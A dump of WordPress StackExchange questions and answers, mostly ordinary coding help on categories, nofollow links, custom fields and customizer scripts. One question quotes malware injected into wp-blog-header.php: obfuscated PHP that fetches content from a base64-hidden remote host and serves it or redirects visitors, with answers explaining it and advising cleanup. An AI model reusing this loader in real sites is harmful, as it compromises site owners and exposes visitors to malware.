**Update**. Note that post information is passed to the filter as well, so you can write a more sophisticated filter, for instance checking for the post type before deciding to return true or false, or impose a maximum length on the title, and so on. |
254,652 | <p>Someone modifying daily our website file <code>wp-blog-header.php</code>.</p>
<p>They are adding below code which generates unneceassy pages automatic in our website, Code is :</p>
<pre><code>$e = pathinfo($f = strtok($p = @$_SERVER["REQUEST_URI"], "?"), PATHINFO_EXTENSION);
if ((!$e || in_array($e, array("html", "jpg", "png", "gif")) ||
basename($f, ".php") == "index") && in_array(strtok("="), array("", "p", "page_id")) && (empty($_SERVER["HTTP_USER_AGENT"]) ||
(stripos($u = $_SERVER["HTTP_USER_AGENT"], "AhrefsBot") === false && stripos($u, "MJ12bot") === false))) {
$at = "base64_" . "decode";
$ch = curl_init($at("aHR0cDovL3dwYWRtaW5hZG1pLmNvbS8/") . "7d09c3986906332c22b598b781b38d33" . $p);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_HTTPHEADER, array(
"X-Forwarded-For: " . @$_SERVER["REMOTE_ADDR"])
);
if (isset($_SERVER["HTTP_USER_AGENT"]))
curl_setopt($ch, CURLOPT_USERAGENT, $_SERVER["HTTP_USER_AGENT"]);
if (isset($_SERVER["HTTP_REFERER"]))
curl_setopt($ch, CURLOPT_REFERER, $_SERVER["HTTP_REFERER"]);
$ci = "curl_ex" . "ec";
$data = $ci($ch);
$code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
if (strlen($data) > 255 && $code == 200) {
echo $data; exit;
} else if ($data && ($code == 301 || $code == 302)) {
header("Location: " . trim($data), true, $code); exit;
}
}
</code></pre>
<p>How can we prevent it? I have removed yesterday above script and today it is in there again.</p>
<p>I have put following in <code>.htaccess</code>, But it did not help :</p>
<pre><code><Files wp-blog-header.php>
deny from all
</Files>
</code></pre>
| [
{
"answer_id": 254653,
"author": "Greg Burkett",
"author_id": 103916,
"author_profile": "https://wordpress.stackexchange.com/users/103916",
"pm_score": 2,
"selected": false,
"text": "<p>The problem is bigger than your attempted solution. If you block that file from being edited, then they can simply just try editing a different file. Someone has obviously hacked your hosting account via weak FTP password, a plugin vulnerability, outdated code, etc.</p>\n\n<p>You should focus on closing however they're gaining access to your system FIRST, then deal with cleaning up whatever they've done.</p>\n\n<p>Some good first steps:</p>\n\n<ol>\n<li>Change your passwords. Yep, all of them. FTP, SSH, WordPress admin, etc.</li>\n<li>Go to your WordPress updates page in WP admin and update everything found.</li>\n<li>Scan your site for hacked code with a plugin like WordFence.</li>\n<li>Scan your site with the timthumb vulnerability scanner. This is often the cause of hacks like this on older sites. --> <a href=\"https://wordpress.org/plugins/timthumb-vulnerability-scanner/\" rel=\"nofollow noreferrer\">https://wordpress.org/plugins/timthumb-vulnerability-scanner/</a></li>\n</ol>\n"
},
{
"answer_id": 254681,
"author": "cjbj",
"author_id": 75495,
"author_profile": "https://wordpress.stackexchange.com/users/75495",
"pm_score": 2,
"selected": false,
"text": "<p>I'm not a security expert, but the code you include in your question roughly does this:</p>\n\n<ol>\n<li>Check if the request is not for a static page (it can't insert anything in that)</li>\n<li>Check if the request is not from scraper bots Ahrefsbot and MJ12bot.</li>\n<li>If both checks are passed make a connection with the server at <a href=\"https://who.is/whois/wpadminadmi.com\" rel=\"nofollow noreferrer\"><code>wpadminadmi.com</code></a> (this happens on the line that starts with <code>$ch = curl_init</code>)</li>\n<li>Retrieve some code from that site.</li>\n<li>Include that code (<code>$data</code>) in your site.</li>\n</ol>\n\n<p>So, your site has been hacked and you are probably distributing malware from your site to the devices of your visitors.</p>\n\n<p>Your question does not include any hints as where the malware might be hiding in your own site. What you see is not the malware itself, but another piece of malware it generates.</p>\n\n<p>The root problem may be anywhere, ranging from a compromised ftp-account to a malicious plugin/theme. Your best option is to wipe the site and install a backup. If you don't have any, you'll have to <a href=\"https://codex.wordpress.org/FAQ_My_site_was_hacked\" rel=\"nofollow noreferrer\">go through the motions</a>.</p>\n"
}
]
| 2017/01/31 | [
"https://wordpress.stackexchange.com/questions/254652",
"https://wordpress.stackexchange.com",
"https://wordpress.stackexchange.com/users/63730/"
]
| Someone modifying daily our website file `wp-blog-header.php`.
They are adding below code which generates unneceassy pages automatic in our website, Code is :
```
$e = pathinfo($f = strtok($p = @$_SERVER["REQUEST_URI"], "?"), PATHINFO_EXTENSION);
if ((!$e || in_array($e, array("html", "jpg", "png", "gif")) ||
basename($f, ".php") == "index") && in_array(strtok("="), array("", "p", "page_id")) && (empty($_SERVER["HTTP_USER_AGENT"]) ||
(stripos($u = $_SERVER["HTTP_USER_AGENT"], "AhrefsBot") === false && stripos($u, "MJ12bot") === false))) {
$at = "base64_" . "decode";
$ch = curl_init($at("aHR0cDovL3dwYWRtaW5hZG1pLmNvbS8/") . "7d09c3986906332c22b598b781b38d33" . $p);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_HTTPHEADER, array(
"X-Forwarded-For: " . @$_SERVER["REMOTE_ADDR"])
);
if (isset($_SERVER["HTTP_USER_AGENT"]))
curl_setopt($ch, CURLOPT_USERAGENT, $_SERVER["HTTP_USER_AGENT"]);
if (isset($_SERVER["HTTP_REFERER"]))
curl_setopt($ch, CURLOPT_REFERER, $_SERVER["HTTP_REFERER"]);
$ci = "curl_ex" . "ec";
$data = $ci($ch);
$code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
if (strlen($data) > 255 && $code == 200) {
echo $data; exit;
} else if ($data && ($code == 301 || $code == 302)) {
header("Location: " . trim($data), true, $code); exit;
}
}
```
How can we prevent it? I have removed yesterday above script and today it is in there again.
I have put following in `.htaccess`, But it did not help :
```
<Files wp-blog-header.php>
deny from all
</Files>
``` | The problem is bigger than your attempted solution. If you block that file from being edited, then they can simply just try editing a different file. Someone has obviously hacked your hosting account via weak FTP password, a plugin vulnerability, outdated code, etc.
You should focus on closing however they're gaining access to your system FIRST, then deal with cleaning up whatever they've done.
Some good first steps:
1. Change your passwords. Yep, all of them. FTP, SSH, WordPress admin, etc.
2. Go to your WordPress updates page in WP admin and update everything found.
3. Scan your site for hacked code with a plugin like WordFence.
4. Scan your site with the timthumb vulnerability scanner. This is often the cause of hacks like this on older sites. --> <https://wordpress.org/plugins/timthumb-vulnerability-scanner/> |
254,657 | <p>Is there a way to filter Wordpress save_post in a way that if more than one category is present, the Uncategorized category is unset/removed? This should works also on first post save</p>
| [
{
"answer_id": 254691,
"author": "Shibi",
"author_id": 62500,
"author_profile": "https://wordpress.stackexchange.com/users/62500",
"pm_score": 4,
"selected": true,
"text": "<p>Yes. You can use the save_post action and do it here is some function that remove the default wordpress category if there is some other category selected.</p>\n\n<p>I added some comments so you will understand the process.</p>\n\n<pre><code>function remove_uncategorized($post_id) {\n // get default category\n $default_category = (int)get_option('default_category');\n // check if the post is in the default category\n if(in_category($default_category, $post_id)) {\n // get list of all the post categories\n $post_categories = get_the_category($post_id);\n\n // count the total of the categories\n $total_categories = count($post_categories);\n\n // check if the post is in more than 1 category (the default one and more..)\n if($total_categories > 1) {\n // remove the default category from the post\n wp_remove_object_terms($post_id, $default_category, 'category');\n }\n }\n}\nadd_action( 'save_post', 'remove_uncategorized' );\n</code></pre>\n"
},
{
"answer_id": 344826,
"author": "Sean",
"author_id": 138112,
"author_profile": "https://wordpress.stackexchange.com/users/138112",
"pm_score": 0,
"selected": false,
"text": "<p>Shibi's answer no longer works properly when saving posts with the new block editor (Gutenberg) because the call to set the post terms (which sets the categories) now occurs <em>after</em> the <code>save_post</code> action is run. Instead, the function in the accepted answer checks only the old terms, meaning only the second time after a post is saved with the default category does it get removed. See the <a href=\"https://developer.wordpress.org/reference/classes/wp_rest_posts_controller/\" rel=\"nofollow noreferrer\"><code>WP_REST_Post_Controller</code></a>'s <code>update_item</code> function (comments mine):</p>\n\n<pre><code>public function update_item( $request ) {\n // First the function updates the post. The `save_post` action is run,\n // but it doesn't yet see the new categories for the post.\n $post_id = wp_update_post( wp_slash( (array) $post ), true );\n\n ...\n\n // Only later does the block editor set the new post categories.\n $terms_update = $this->handle_terms( $post->ID, $request );\n\n ...\n}\n</code></pre>\n\n<p>I achieved the required behaviour in a way that works on both the classic and block editor by hooking in to <code>set_object_terms</code>, which occurs in the block editor as part of its call to <code>$this->handle_terms</code>:</p>\n\n<pre><code>/**\n * Remove unnecessary \"Uncategorised\" category on posts saved with another, non-default\n * category.\n *\n * This is performed on the `set_object_terms` action as part of `wp_set_object_terms` function\n * because the `save_post` action, where this would logically be run, is run *before* terms are\n * set by the block editor (in contrast to the classic editor).\n *\n * @param int $object_id Object ID.\n * @param array $terms An array of object terms.\n * @param array $tt_ids An array of term taxonomy IDs.\n * @param string $taxonomy Taxonomy slug.\n */\nfunction wpse_254657_remove_superfluous_uncategorised( $object_id, $terms, $tt_ids, $taxonomy ) {\n if ( 'category' !== $taxonomy ) {\n return;\n }\n\n $post = get_post( $object_id );\n\n if ( is_null( $post ) || 'post' !== $post->post_type ) {\n return;\n }\n\n if ( count( $terms ) <= 1 ) {\n return;\n }\n\n // Get default category.\n $default_category = get_term_by( 'id', get_option( 'default_category' ), $taxonomy );\n\n // Rebuild list of terms using $tt_ids and not the provided $terms, since\n // $terms can be mixed type and is unsanitised by `wp_set_object_terms`.\n $terms = array();\n foreach( $tt_ids as $tt_id ) {\n $term = get_term_by( 'term_taxonomy_id', $tt_id, $taxonomy );\n\n if ( $term ) {\n $terms[] = $term;\n }\n }\n\n if ( ! in_array( $default_category->term_id, wp_list_pluck( $terms, 'term_id' ), true ) ) {\n return;\n }\n\n // Remove the default category from the post.\n wp_remove_object_terms( $post->ID, $default_category->term_id, 'category' );\n}\nadd_action( 'set_object_terms', 'wpse_254657_remove_superfluous_uncategorised', 10, 4 );\n</code></pre>\n\n<p>In the above, I had to also build my own list of <code>$terms</code> because the one provided by the hook can contain mixes of strings and ints or an array of mixed strings and ints. It's therefore simpler to get terms this way. With the term caching WordPress does, this shouldn't add much overhead.</p>\n"
}
]
| 2017/01/31 | [
"https://wordpress.stackexchange.com/questions/254657",
"https://wordpress.stackexchange.com",
"https://wordpress.stackexchange.com/users/1210/"
]
| Is there a way to filter Wordpress save\_post in a way that if more than one category is present, the Uncategorized category is unset/removed? This should works also on first post save | Yes. You can use the save\_post action and do it here is some function that remove the default wordpress category if there is some other category selected.
I added some comments so you will understand the process.
```
function remove_uncategorized($post_id) {
// get default category
$default_category = (int)get_option('default_category');
// check if the post is in the default category
if(in_category($default_category, $post_id)) {
// get list of all the post categories
$post_categories = get_the_category($post_id);
// count the total of the categories
$total_categories = count($post_categories);
// check if the post is in more than 1 category (the default one and more..)
if($total_categories > 1) {
// remove the default category from the post
wp_remove_object_terms($post_id, $default_category, 'category');
}
}
}
add_action( 'save_post', 'remove_uncategorized' );
``` |
254,676 | <p>I have this code in <code>author.php</code> file</p>
<pre><code>echo $part_cur_auth_obj->description;
</code></pre>
<p>How can i parse the echo so the links within the author description will have the <code>rel="nofollow"</code> attribute set automatically?</p>
| [
{
"answer_id": 254679,
"author": "Arsalan Mithani",
"author_id": 111402,
"author_profile": "https://wordpress.stackexchange.com/users/111402",
"pm_score": 0,
"selected": false,
"text": "<p>You can do this simply by javascript code, Add this to your <code>footer.php</code> file this will add attribute to all tags.</p>\n\n<pre><code>$( document ).ready(function() {\n $('body > a').attr('rel','nofollow')\n });\n</code></pre>\n\n<p>Or can be done by using <strong>ID's</strong> for <strong>particular tags</strong></p>\n\n<pre><code>$( document ).ready(function() {\n $('body > a#ID_OF_A_TAG').attr('rel','nofollow')\n });\n</code></pre>\n\n<p>make sure you have pasted correct ID of <code><a id=\"MY_ID\"></code>tag. <strong>MY_ID</strong> in this case</p>\n"
},
{
"answer_id": 254680,
"author": "Ismail",
"author_id": 70833,
"author_profile": "https://wordpress.stackexchange.com/users/70833",
"pm_score": 0,
"selected": false,
"text": "<p>You can always benefit from pre-defined WordPress functions, see <a href=\"https://developer.wordpress.org/reference/functions/wp_rel_nofollow/\" rel=\"nofollow noreferrer\"><code>wp_rel_nofollow</code></a></p>\n\n<pre><code>echo wp_rel_nofollow($part_cur_auth_obj->description);\n</code></pre>\n"
},
{
"answer_id": 254830,
"author": "Nathan Johnson",
"author_id": 106269,
"author_profile": "https://wordpress.stackexchange.com/users/106269",
"pm_score": 2,
"selected": true,
"text": "<p>If you want to add rel=\"nofollow\" to all the links, then you can simply use str_replace():</p>\n\n<pre><code>echo str_replace( \n '<a href=', \n '<a rel=\"nofollow\" href=', \n $part_cur_auth_obj->description \n);\n</code></pre>\n"
}
]
| 2017/01/31 | [
"https://wordpress.stackexchange.com/questions/254676",
"https://wordpress.stackexchange.com",
"https://wordpress.stackexchange.com/users/103331/"
]
| I have this code in `author.php` file
```
echo $part_cur_auth_obj->description;
```
How can i parse the echo so the links within the author description will have the `rel="nofollow"` attribute set automatically? | If you want to add rel="nofollow" to all the links, then you can simply use str\_replace():
```
echo str_replace(
'<a href=',
'<a rel="nofollow" href=',
$part_cur_auth_obj->description
);
``` |
254,721 | <p>I'm using WordPress Version 4.7.2</p>
<p>I'm trying to set up the new post page (wp-admin/post-new.php) so it automatically displays two custom fields. I'd like the custom field "name" pre-populated and the custom field "value" left blank. </p>
<p><strong>Current New Post Page</strong></p>
<p><a href="https://i.stack.imgur.com/NfUIs.png" rel="nofollow noreferrer"><img src="https://i.stack.imgur.com/NfUIs.png" alt="enter image description here"></a></p>
<p><strong>Desired New Post Page</strong></p>
<p><a href="https://i.stack.imgur.com/mqtJB.png" rel="nofollow noreferrer"><img src="https://i.stack.imgur.com/mqtJB.png" alt="enter image description here"></a></p>
<p>Any help is greatly appreciated. Thanks!</p>
| [
{
"answer_id": 254724,
"author": "Sumesh S",
"author_id": 104736,
"author_profile": "https://wordpress.stackexchange.com/users/104736",
"pm_score": 1,
"selected": false,
"text": "<p>The below code will add default custom fields to your post ( Insert the code in your themes function.php ) .</p>\n\n<pre><code>add_action('wp_insert_post', 'set_default_custom_fields');\nfunction set_default_custom_fields($post_id){\nif ( $_GET['post_type'] == 'post' ) {\n\nadd_post_meta($post_id, 'Field Name', '', true);\nadd_post_meta($post_id, 'Another Field Name', '', true);\n}\nreturn true;\n}\n</code></pre>\n\n<p>By default this will add an empty custom field to your post. If you want to enter a value by default too, use the code below.</p>\n\n<pre><code>add_action('wp_insert_post', 'set_default_custom_fields');\nfunction set_default_custom_fields($post_id){\nif ( $_GET['post_type'] == 'post' ) {\nadd_post_meta($post_id, 'Field Name', 'Field Value', true);\n}\nreturn true;\n}\n</code></pre>\n"
},
{
"answer_id": 254728,
"author": "Benoti",
"author_id": 58141,
"author_profile": "https://wordpress.stackexchange.com/users/58141",
"pm_score": 0,
"selected": false,
"text": "<p>Usually, the best way to add custom-field is to use <code>add_meta_boxes</code> action and <a href=\"https://developer.wordpress.org/reference/functions/add_meta_box/\" rel=\"nofollow noreferrer\"><code>add_meta_box()</code></a> function. </p>\n\n<p>When you use this action, custom-field can be place where ever you want.\nIf you want to pre-populate input value, it will easier, as you dedicated function will be thrown exactly like you want (values could be set). </p>\n\n<p>You will find some more details <a href=\"https://codex.wordpress.org/Plugin_API/Action_Reference/add_meta_boxes\" rel=\"nofollow noreferrer\">add_meta_boxes</a> </p>\n\n<p>Hope it helps</p>\n"
}
]
| 2017/02/01 | [
"https://wordpress.stackexchange.com/questions/254721",
"https://wordpress.stackexchange.com",
"https://wordpress.stackexchange.com/users/64181/"
]
| I'm using WordPress Version 4.7.2
I'm trying to set up the new post page (wp-admin/post-new.php) so it automatically displays two custom fields. I'd like the custom field "name" pre-populated and the custom field "value" left blank.
**Current New Post Page**
[](https://i.stack.imgur.com/NfUIs.png)
**Desired New Post Page**
[](https://i.stack.imgur.com/mqtJB.png)
Any help is greatly appreciated. Thanks! | The below code will add default custom fields to your post ( Insert the code in your themes function.php ) .
```
add_action('wp_insert_post', 'set_default_custom_fields');
function set_default_custom_fields($post_id){
if ( $_GET['post_type'] == 'post' ) {
add_post_meta($post_id, 'Field Name', '', true);
add_post_meta($post_id, 'Another Field Name', '', true);
}
return true;
}
```
By default this will add an empty custom field to your post. If you want to enter a value by default too, use the code below.
```
add_action('wp_insert_post', 'set_default_custom_fields');
function set_default_custom_fields($post_id){
if ( $_GET['post_type'] == 'post' ) {
add_post_meta($post_id, 'Field Name', 'Field Value', true);
}
return true;
}
``` |
254,735 | <p>I'm using postMessage for my customizer and trying to avoid repetitions in customizer.php and customizer.js How can I use the variable $css from customizer.php and include it in customizer.js to avoid repeating h1,h2,h3 etc. So right now it works like this:</p>
<p><strong>customizer.php code</strong></p>
<pre><code>function my_styles_method() {
wp_enqueue_style(
'custom-style',
get_template_directory_uri() . '/custom-css.css'
);
$colors = array(
'headings_color' => get_theme_mod( 'wpt_heading_color' ),
);
$css_output = "{color: {$colors['headings_color']}; }";
$custom_css = "h1,h2,h3,h4,h5,h6";
$css = $custom_css . $css_output;
wp_add_inline_style( 'custom-style', $css );
}
add_action( 'wp_enqueue_scripts', 'my_styles_method', 21 );
</code></pre>
<p><strong>customizer.js code</strong></p>
<pre><code>wp.customize( 'wpt_heading_color', function( value ) {
value.bind( function( newval ) {
$( 'h1,h2,h3,h4,h5,h6').css( 'color', newval );
});
});
</code></pre>
| [
{
"answer_id": 254943,
"author": "Weston Ruter",
"author_id": 8521,
"author_profile": "https://wordpress.stackexchange.com/users/8521",
"pm_score": 1,
"selected": false,
"text": "<p>Use <code>wp_add_inline_script()</code> to export the variable from PHP to JS. For example, in <code>my_styles_method</code> assuming that your <code>customizr.js</code> script has the handle <code>my-styles-customize-preview</code>:</p>\n\n<pre><code>wp_add_inline_script(\n 'my-styles-customize-preview',\n sprintf( 'var MyStylesSelector = %s;', wp_json_encode( $custom_css ) ), \n 'before' \n);\n</code></pre>\n\n<p>Then you can modify for JS to be:</p>\n\n<pre><code>wp.customize( 'wpt_heading_color', function( value ) {\n value.bind( function( newval ) {\n $( MyStylesSelector ).css( 'color', newval );\n });\n});\n</code></pre>\n\n<p>Nevertheless, I suggest a better approach and that is to update the inline style element instead of setting the <code>style</code> for each element. For example:</p>\n\n<pre><code>wp.customize( 'wpt_heading_color', function( setting ) {\n setting.bind( function( value ) {\n $( '#custom-style-inline-css' ).text( MyStylesSelector + '{ color: ' + value + '}' );\n });\n});\n</code></pre>\n\n<p>This is also a good candidate for using a custom selective refresh <code>Partial</code> that short-circuits the partial refresh request to the server and instead handles the rendering client-side by overriding the <code>refresh</code> method.</p>\n"
},
{
"answer_id": 256854,
"author": "Alexander",
"author_id": 112255,
"author_profile": "https://wordpress.stackexchange.com/users/112255",
"pm_score": 1,
"selected": true,
"text": "<p>Well, I finally made it working. I simply forgot to add_inline_style. Great thanks to Weston Ruter for help.\nSo the final code is:</p>\n\n<pre><code>function my_styles_method() {\n wp_enqueue_style(\n 'custom-style',\n get_template_directory_uri() . '/custom-css.css'\n );\n\n $colors = array(\n 'headings_color' => get_theme_mod( 'wpt_heading_color' ),\n );\n\n $css_output = \"{color: {$colors['headings_color']}; }\";\n $selector = \"h1,h2,h3,h4,h5,h6\";\n $css = $selector . $css_output;\n\n wp_add_inline_style( 'custom-style', $css );\n wp_localize_script( 'wpt_customizer', 'MyStylesSelector', $selector ); \n}\nadd_action( 'wp_enqueue_scripts', 'my_styles_method', 21 );\n\n\n/**\n * Binds JS handlers to make Theme Customizer preview reload changes asynchronously.\n */\nfunction wpt_customize_preview_js() {\n wp_enqueue_script( 'wpt_customizer', get_template_directory_uri() . '/js/theme-customizer.js', array( 'customize-preview' ), '', true );\n}\nadd_action( 'customize_preview_init', 'wpt_customize_preview_js' );\n</code></pre>\n\n<p>Link for Gist - <a href=\"https://gist.github.com/DeoThemes/ae61a166d09dba4817fb6e6d0ce78c8f\" rel=\"nofollow noreferrer\">https://gist.github.com/DeoThemes/ae61a166d09dba4817fb6e6d0ce78c8f</a></p>\n"
}
]
| 2017/02/01 | [
"https://wordpress.stackexchange.com/questions/254735",
"https://wordpress.stackexchange.com",
"https://wordpress.stackexchange.com/users/112255/"
]
| I'm using postMessage for my customizer and trying to avoid repetitions in customizer.php and customizer.js How can I use the variable $css from customizer.php and include it in customizer.js to avoid repeating h1,h2,h3 etc. So right now it works like this:
**customizer.php code**
```
function my_styles_method() {
wp_enqueue_style(
'custom-style',
get_template_directory_uri() . '/custom-css.css'
);
$colors = array(
'headings_color' => get_theme_mod( 'wpt_heading_color' ),
);
$css_output = "{color: {$colors['headings_color']}; }";
$custom_css = "h1,h2,h3,h4,h5,h6";
$css = $custom_css . $css_output;
wp_add_inline_style( 'custom-style', $css );
}
add_action( 'wp_enqueue_scripts', 'my_styles_method', 21 );
```
**customizer.js code**
```
wp.customize( 'wpt_heading_color', function( value ) {
value.bind( function( newval ) {
$( 'h1,h2,h3,h4,h5,h6').css( 'color', newval );
});
});
``` | Well, I finally made it working. I simply forgot to add\_inline\_style. Great thanks to Weston Ruter for help.
So the final code is:
```
function my_styles_method() {
wp_enqueue_style(
'custom-style',
get_template_directory_uri() . '/custom-css.css'
);
$colors = array(
'headings_color' => get_theme_mod( 'wpt_heading_color' ),
);
$css_output = "{color: {$colors['headings_color']}; }";
$selector = "h1,h2,h3,h4,h5,h6";
$css = $selector . $css_output;
wp_add_inline_style( 'custom-style', $css );
wp_localize_script( 'wpt_customizer', 'MyStylesSelector', $selector );
}
add_action( 'wp_enqueue_scripts', 'my_styles_method', 21 );
/**
* Binds JS handlers to make Theme Customizer preview reload changes asynchronously.
*/
function wpt_customize_preview_js() {
wp_enqueue_script( 'wpt_customizer', get_template_directory_uri() . '/js/theme-customizer.js', array( 'customize-preview' ), '', true );
}
add_action( 'customize_preview_init', 'wpt_customize_preview_js' );
```
Link for Gist - <https://gist.github.com/DeoThemes/ae61a166d09dba4817fb6e6d0ce78c8f> |
254,753 | <p>I'm trying to set shipping rule in woocommerce. My conditions are as follows.</p>
<ol>
<li>$25 for selected postal codes; if total cart value is < $250</li>
<li>$0 / Free for same selected postal codes; if total cart value is >= $250</li>
<li>Flat $25 for another set of postal codes (let's say Zone B)</li>
<li>Generic message to call; if shipping/billing address is international.</li>
</ol>
<p>I tried using the Shipping Zone, I created zones and when I apply "Flat Rate", I'm not sure how should I put the condition into it. there is no guideline from woocommerce which explains in details of using [qty] [cost] [fee]</p>
<p>I did this: ([cost]<250)+25 (obviously, it's not working.)
again, I did add second rule: ([cost]>=250)+0 (again this is same)</p>
<p>both are showing up if the postal code matches in shipping/billing address, but not is satisfying the condition.</p>
<p>my question is that is there a way to make this conditional based shipping rule work? either by coding or by manipulating it from the backend? </p>
<p>Or do I need to purchase the premium plugin for it?</p>
| [
{
"answer_id": 254943,
"author": "Weston Ruter",
"author_id": 8521,
"author_profile": "https://wordpress.stackexchange.com/users/8521",
"pm_score": 1,
"selected": false,
"text": "<p>Use <code>wp_add_inline_script()</code> to export the variable from PHP to JS. For example, in <code>my_styles_method</code> assuming that your <code>customizr.js</code> script has the handle <code>my-styles-customize-preview</code>:</p>\n\n<pre><code>wp_add_inline_script(\n 'my-styles-customize-preview',\n sprintf( 'var MyStylesSelector = %s;', wp_json_encode( $custom_css ) ), \n 'before' \n);\n</code></pre>\n\n<p>Then you can modify for JS to be:</p>\n\n<pre><code>wp.customize( 'wpt_heading_color', function( value ) {\n value.bind( function( newval ) {\n $( MyStylesSelector ).css( 'color', newval );\n });\n});\n</code></pre>\n\n<p>Nevertheless, I suggest a better approach and that is to update the inline style element instead of setting the <code>style</code> for each element. For example:</p>\n\n<pre><code>wp.customize( 'wpt_heading_color', function( setting ) {\n setting.bind( function( value ) {\n $( '#custom-style-inline-css' ).text( MyStylesSelector + '{ color: ' + value + '}' );\n });\n});\n</code></pre>\n\n<p>This is also a good candidate for using a custom selective refresh <code>Partial</code> that short-circuits the partial refresh request to the server and instead handles the rendering client-side by overriding the <code>refresh</code> method.</p>\n"
},
{
"answer_id": 256854,
"author": "Alexander",
"author_id": 112255,
"author_profile": "https://wordpress.stackexchange.com/users/112255",
"pm_score": 1,
"selected": true,
"text": "<p>Well, I finally made it working. I simply forgot to add_inline_style. Great thanks to Weston Ruter for help.\nSo the final code is:</p>\n\n<pre><code>function my_styles_method() {\n wp_enqueue_style(\n 'custom-style',\n get_template_directory_uri() . '/custom-css.css'\n );\n\n $colors = array(\n 'headings_color' => get_theme_mod( 'wpt_heading_color' ),\n );\n\n $css_output = \"{color: {$colors['headings_color']}; }\";\n $selector = \"h1,h2,h3,h4,h5,h6\";\n $css = $selector . $css_output;\n\n wp_add_inline_style( 'custom-style', $css );\n wp_localize_script( 'wpt_customizer', 'MyStylesSelector', $selector ); \n}\nadd_action( 'wp_enqueue_scripts', 'my_styles_method', 21 );\n\n\n/**\n * Binds JS handlers to make Theme Customizer preview reload changes asynchronously.\n */\nfunction wpt_customize_preview_js() {\n wp_enqueue_script( 'wpt_customizer', get_template_directory_uri() . '/js/theme-customizer.js', array( 'customize-preview' ), '', true );\n}\nadd_action( 'customize_preview_init', 'wpt_customize_preview_js' );\n</code></pre>\n\n<p>Link for Gist - <a href=\"https://gist.github.com/DeoThemes/ae61a166d09dba4817fb6e6d0ce78c8f\" rel=\"nofollow noreferrer\">https://gist.github.com/DeoThemes/ae61a166d09dba4817fb6e6d0ce78c8f</a></p>\n"
}
]
| 2017/02/01 | [
"https://wordpress.stackexchange.com/questions/254753",
"https://wordpress.stackexchange.com",
"https://wordpress.stackexchange.com/users/110899/"
]
| I'm trying to set shipping rule in woocommerce. My conditions are as follows.
1. $25 for selected postal codes; if total cart value is < $250
2. $0 / Free for same selected postal codes; if total cart value is >= $250
3. Flat $25 for another set of postal codes (let's say Zone B)
4. Generic message to call; if shipping/billing address is international.
I tried using the Shipping Zone, I created zones and when I apply "Flat Rate", I'm not sure how should I put the condition into it. there is no guideline from woocommerce which explains in details of using [qty] [cost] [fee]
I did this: ([cost]<250)+25 (obviously, it's not working.)
again, I did add second rule: ([cost]>=250)+0 (again this is same)
both are showing up if the postal code matches in shipping/billing address, but not is satisfying the condition.
my question is that is there a way to make this conditional based shipping rule work? either by coding or by manipulating it from the backend?
Or do I need to purchase the premium plugin for it? | Well, I finally made it working. I simply forgot to add\_inline\_style. Great thanks to Weston Ruter for help.
So the final code is:
```
function my_styles_method() {
wp_enqueue_style(
'custom-style',
get_template_directory_uri() . '/custom-css.css'
);
$colors = array(
'headings_color' => get_theme_mod( 'wpt_heading_color' ),
);
$css_output = "{color: {$colors['headings_color']}; }";
$selector = "h1,h2,h3,h4,h5,h6";
$css = $selector . $css_output;
wp_add_inline_style( 'custom-style', $css );
wp_localize_script( 'wpt_customizer', 'MyStylesSelector', $selector );
}
add_action( 'wp_enqueue_scripts', 'my_styles_method', 21 );
/**
* Binds JS handlers to make Theme Customizer preview reload changes asynchronously.
*/
function wpt_customize_preview_js() {
wp_enqueue_script( 'wpt_customizer', get_template_directory_uri() . '/js/theme-customizer.js', array( 'customize-preview' ), '', true );
}
add_action( 'customize_preview_init', 'wpt_customize_preview_js' );
```
Link for Gist - <https://gist.github.com/DeoThemes/ae61a166d09dba4817fb6e6d0ce78c8f> |
254,764 | <p>I have set up a theme with a width of 964 px, so that images in the post should be shown as 964 px, when set to 100% (or 964 px). I mean the complete width of the page/wrapper.</p>
<p>Unfortunately, this does not work, but I can not find the culprit.</p>
<p>Link: <a href="http://bit.do/c8q8u" rel="nofollow noreferrer">http://bit.do/c8q8u</a> </p>
<p>Code, I used:</p>
<pre><code>html:
<img src=".../x.jpg" alt="" width="964px" class="alignnone size-full wp-image-150" />
css:
#posts {width: 964px !important;}
.post .post-excerpt img {max-width: 100% or 964px;}
</code></pre>
<p>Thank you, guys.</p>
| [
{
"answer_id": 254765,
"author": "Arsalan Mithani",
"author_id": 111402,
"author_profile": "https://wordpress.stackexchange.com/users/111402",
"pm_score": 1,
"selected": false,
"text": "<p>in your class : <code>.post .post-excerpt img</code> add <code>width</code> instead of <code>max-width</code> </p>\n\n<pre><code>.post .post-excerpt img {\n width: 100%;\n}\n</code></pre>\n\n<p>This seems culprit :</p>\n\n<p><a href=\"https://i.stack.imgur.com/EX1IO.jpg\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/EX1IO.jpg\" alt=\"enter image description here\"></a></p>\n"
},
{
"answer_id": 254770,
"author": "vega",
"author_id": 50311,
"author_profile": "https://wordpress.stackexchange.com/users/50311",
"pm_score": 1,
"selected": true,
"text": "<p>I found the problem. The content width was forced in functions.php:</p>\n\n<pre><code>...\n\nif ( ! isset( $content_width ) ) $content_width = 634;\n\nadd_theme_support( 'automatic-feed-links' );\n\n...\n</code></pre>\n\n<p>I changed the value to 964 and it works like it should. :)</p>\n"
}
]
| 2017/02/01 | [
"https://wordpress.stackexchange.com/questions/254764",
"https://wordpress.stackexchange.com",
"https://wordpress.stackexchange.com/users/50311/"
]
| I have set up a theme with a width of 964 px, so that images in the post should be shown as 964 px, when set to 100% (or 964 px). I mean the complete width of the page/wrapper.
Unfortunately, this does not work, but I can not find the culprit.
Link: <http://bit.do/c8q8u>
Code, I used:
```
html:
<img src=".../x.jpg" alt="" width="964px" class="alignnone size-full wp-image-150" />
css:
#posts {width: 964px !important;}
.post .post-excerpt img {max-width: 100% or 964px;}
```
Thank you, guys. | I found the problem. The content width was forced in functions.php:
```
...
if ( ! isset( $content_width ) ) $content_width = 634;
add_theme_support( 'automatic-feed-links' );
...
```
I changed the value to 964 and it works like it should. :) |
254,776 | <p>I've created a static site for a business code in plain HTML and CSS. Along the way, I've added in two WordPress installs in subdirectories, one being a blog page and another being an eCommerce site. </p>
<p>Now that the website has begun to grow, the client suggested making the main static site part of WordPress. Now I am most definitely not a WordPress expert and am not sure what could potentially happen so please bear with me. </p>
